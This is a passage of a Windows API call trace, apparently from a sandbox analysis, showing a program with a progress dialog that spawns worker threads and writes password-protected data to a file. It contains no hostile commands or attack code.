riid=0x7ff6f75ecc60*(Data1=0xea1afb91, Data2=0x9e28, Data3=0x4b86, Data4=([0]=0x90, [1]=0xe9, [2]=0x9e, [3]=0x9f, [4]=0x8a, [5]=0x5e, [6]=0xef, [7]=0xaf)), ppv=0xe414daf48 | out: ppv=0xe414daf48*=0x1ec0bfefa60) returned 0x0 [0066.294] TaskbarList:ITaskbarList3:SetProgressState (This=0x1ec0bfefa60, hwnd=0x10284, tbpFlags=2) returned 0x0 [0066.295] TaskbarList:ITaskbarList3:SetProgressValue (This=0x1ec0bfefa60, hwnd=0x10284, ullCompleted=0x1546f, ullTotal=0x4f8c9e) returned 0x0 [0066.295] TaskbarList:IUnknown:Release (This=0x1ec0bfefa60) returned 0x0 [0066.295] GetLastError () returned 0x36b7 [0066.295] SetLastError (dwErrCode=0x36b7) [0066.295] GetDlgItem (hDlg=0x10284, nIDDlgItem=157) returned 0x102a6 [0066.295] GetDlgItem (hDlg=0x10284, nIDDlgItem=152) returned 0x102a4 [0066.295] GetWindowTextW (in: hWnd=0x102a4, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 1%") returned 5 [0066.295] GetLastError () returned 0x36b7 [0066.295] SetLastError (dwErrCode=0x36b7) [0066.295] GetDlgItem (hDlg=0x10284, nIDDlgItem=164) returned 0x102a0 [0066.295] GetWindowTextW (in: hWnd=0x102a0, lpString=0xe414d9b10, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.295] SendMessageW (hWnd=0x102a6, Msg=0x402, wParam=0x1, lParam=0x0) returned 0x1 [0066.296] EndPaint (hWnd=0x10284, lpPaint=0xe414db880) returned 1 [0066.296] PeekMessageW (in: lpMsg=0xe414dd680, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd680) returned 1 [0066.297] GetMessageW (in: lpMsg=0xe414dd610, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd610) returned 1 [0066.297] GetFocus () returned 0x102a8 [0066.297] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd610) returned 1 [0066.297] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.297] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10c0) returned 0x354 [0066.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10c4) returned 0x358 [0066.298] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10c8) returned 0x35c [0066.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10cc) returned 0x360 [0066.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10d0) returned 0x364 [0066.299] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10d4) returned 0x368 [0066.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10d8) returned 0x36c [0066.300] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10dc) returned 0x370 [0066.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10e0) returned 0x374 [0066.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10e4) returned 0x378 [0066.301] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10e8) returned 0x37c [0066.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10ec) returned 0x380 [0066.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10f0) returned 0x384 [0066.302] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10f4) returned 0x388 [0066.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10f8) returned 0x38c [0066.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x10fc) returned 0x390 [0066.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1100) returned 0x394 [0066.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1104) returned 0x398 [0066.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1108) returned 0x39c [0066.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x110c) returned 0x3a0 [0066.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1110) returned 0x3a4 [0066.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1114) returned 0x3a8 [0066.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1118) returned 0x3ac [0066.306] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x111c) returned 0x3b0 [0066.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1120) returned 0x3b4 [0066.307] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1124) returned 0x3b8 [0066.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1128) returned 0x3bc [0066.309] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x112c) returned 0x3c0 [0066.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1130) returned 0x3c4 [0066.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1134) returned 0x3c8 [0066.310] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x1138) returned 0x3cc [0066.311] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e370, dwCreationFlags=0x0, lpThreadId=0xe414dd6a0 | out: lpThreadId=0xe414dd6a0*=0x113c) returned 0x3d0 [0066.311] ResetEvent (hEvent=0x344) returned 1 [0066.311] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.311] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.421] ResetEvent (hEvent=0x344) returned 1 [0066.421] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.421] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.430] ResetEvent (hEvent=0x344) returned 1 [0066.430] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.430] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0066.450] GetTickCount () returned 0x26836 [0066.450] GetLastError () returned 0x0 [0066.450] SetLastError (dwErrCode=0x0) [0066.450] GetDlgItem (hDlg=0x10284, nIDDlgItem=158) returned 0x10290 [0066.450] GetDlgItem (hDlg=0x10284, nIDDlgItem=153) returned 0x1028e [0066.450] GetWindowTextW (in: hWnd=0x1028e, lpString=0xe414dbd00, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0066.450] SetWindowTextW (hWnd=0x1028e, lpString=" 100%") returned 1 [0066.451] SendMessageW (hWnd=0x10290, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0066.451] QueryPerformanceCounter (in: lpPerformanceCount=0xe414dd580 | out: lpPerformanceCount=0xe414dd580*=15777963577) returned 1 [0066.451] GetTickCount () returned 0x26836 [0066.451] GetTickCount () returned 0x26836 [0066.451] GetTickCount () returned 0x26836 [0066.451] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0066.455] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0066.455] GetFocus () returned 0x102a8 [0066.455] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 0 [0066.455] GetKeyState (nVirtKey=16) returned 0 [0066.455] TranslateAcceleratorW (hWnd=0x10284, hAccTable=0x10335, lpMsg=0xe414dd5e0) returned 0 [0066.455] TranslateMessage (lpMsg=0xe414dd5e0) returned 0 [0066.455] DispatchMessageW (lpMsg=0xe414dd5e0) returned 0x1 [0066.455] PeekMessageW (in: lpMsg=0xe414dd650, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd650) returned 1 [0066.455] GetMessageW (in: lpMsg=0xe414dd5e0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd5e0) returned 1 [0066.455] GetFocus () returned 0x102a8 [0066.455] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd5e0) returned 1 [0066.455] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1140) returned 0x3d4 [0066.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1144) returned 0x3d8 [0066.456] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1148) returned 0x3dc [0066.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x114c) returned 0x3e0 [0066.461] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1150) returned 0x3e4 [0066.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1154) returned 0x3e8 [0066.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1158) returned 0x3ec [0066.462] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x115c) returned 0x3f0 [0066.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1160) returned 0x3f4 [0066.463] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1164) returned 0x3f8 [0066.464] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1168) returned 0x3fc [0066.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x116c) returned 0x404 [0066.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1170) returned 0x408 [0066.465] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1174) returned 0x40c [0066.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1178) returned 0x410 [0066.466] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x117c) returned 0x414 [0066.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1180) returned 0x418 [0066.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1184) returned 0x41c [0066.467] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1188) returned 0x420 [0066.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x118c) returned 0x424 [0066.468] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1190) returned 0x428 [0066.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1194) returned 0x42c [0066.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x1198) returned 0x430 [0066.469] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x119c) returned 0x434 [0066.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11a0) returned 0x438 [0066.470] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11a4) returned 0x43c [0066.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11a8) returned 0x440 [0066.471] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11ac) returned 0x444 [0066.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11b0) returned 0x448 [0066.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11b4) returned 0x44c [0066.472] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11b8) returned 0x450 [0066.473] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x10000, lpStartAddress=0x7ff6f755e0bc, lpParameter=0x1ec0a65e010, dwCreationFlags=0x0, lpThreadId=0xe414dd4c0 | out: lpThreadId=0xe414dd4c0*=0x11bc) returned 0x454 [0066.473] ResetEvent (hEvent=0x33c) returned 1 [0066.473] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.473] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.574] ResetEvent (hEvent=0x33c) returned 1 [0066.574] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0066.574] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0066.581] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0066.581] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0066.581] GetFocus () returned 0x102a8 [0066.581] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0066.581] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414dd460*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd460*=0) returned 0x19 [0066.581] SetFilePointer (in: hFile=0x32c, lDistanceToMove=96, lpDistanceToMoveHigh=0xe414dd430*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414dd430*=0) returned 0x79 [0066.581] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0xc38) returned 0x1ec0ddff630 [0066.581] CryptUnprotectMemory (in: pDataIn=0xe414dd2e0, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0xe414dd2e0) returned 1 [0066.581] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0xe414dd260, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0066.602] CryptProtectMemory (in: pDataIn=0x1ec0a65c436, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x1ec0a65c436) returned 1 [0066.604] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0bfefdd0*, nNumberOfBytesToWrite=0x15540, lpNumberOfBytesWritten=0xe414dd460, lpOverlapped=0x0 | out: lpBuffer=0x1ec0bfefdd0*, lpNumberOfBytesWritten=0xe414dd460*=0x15540, lpOverlapped=0x0) returned 1 [0066.606] PeekMessageW (in: lpMsg=0xe414dd3d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0xe414dd3d0) returned 1 [0066.606] GetMessageW (in: lpMsg=0xe414dd360, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0xe414dd360) returned 1 [0066.606] GetFocus () returned 0x102a8 [0066.606] IsDialogMessageW (hDlg=0x10284, lpMsg=0xe414dd360) returned 1 [0066.607] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0066.607] SetFilePointer (in: hFile=0x32c, lDistanceToMove=25, lpDistanceToMoveHigh=0xe414dd420*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0xe414dd420*=0) returned 0x19 [0066.607] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0xe414d9b00*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0xe414d9b00*=0) returned 0x19 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef670 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefcd0 [0066.607] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefcd0, Size=0x48) returned 0x1ec0a656fb0 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x30) returned 0x1ec0a63c400 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefc70 [0066.607] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfefc70, Size=0x48) returned 0x1ec0a656ce0 [0066.607] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a63c400 | out: hHeap=0x1ec0a590000) returned 1 [0066.607] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0a656fb0 | out: hHeap=0x1ec0a590000) returned 1 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefbe0 [0066.607] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfefb80 [0066.607] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefb80 | out: hHeap=0x1ec0a590000) returned 1 [0066.607] HeapFree (in: hHeap=0x1ec0a590000, dwFlags=0x0, lpMem=0x1ec0bfefbe0 | out: hHeap=0x1ec0a590000) returned 1 [0066.607] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0bfef670, Size=0x48) returned 0x1ec0a6577d0 [0066.607] RtlReAllocateHeap (Heap=0x1ec0a590000, Flags=0x0, Ptr=0x1ec0a6577d0, Size=0x7a) returned 0x1ec0a64a610 [0066.607] WriteFile (in: hFile=0x32c, lpBuffer=0x1ec0a64a613*, nNumberOfBytesToWrite=0x60, lpNumberOfBytesWritten=0xe414d8140, lpOverlapped=0x0 | out: lpBuffer=0x1ec0a64a613*, lpNumberOfBytesWritten=0xe414d8140*=0x60, lpOverlapped=0x0) returned 1 [0066.608] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x20) returned 0x1ec0bfef820 [0066.608] RtlAllocateHeap (HeapHandle=0x1ec0a590000, Flags=0x0, Size=0x60) returned 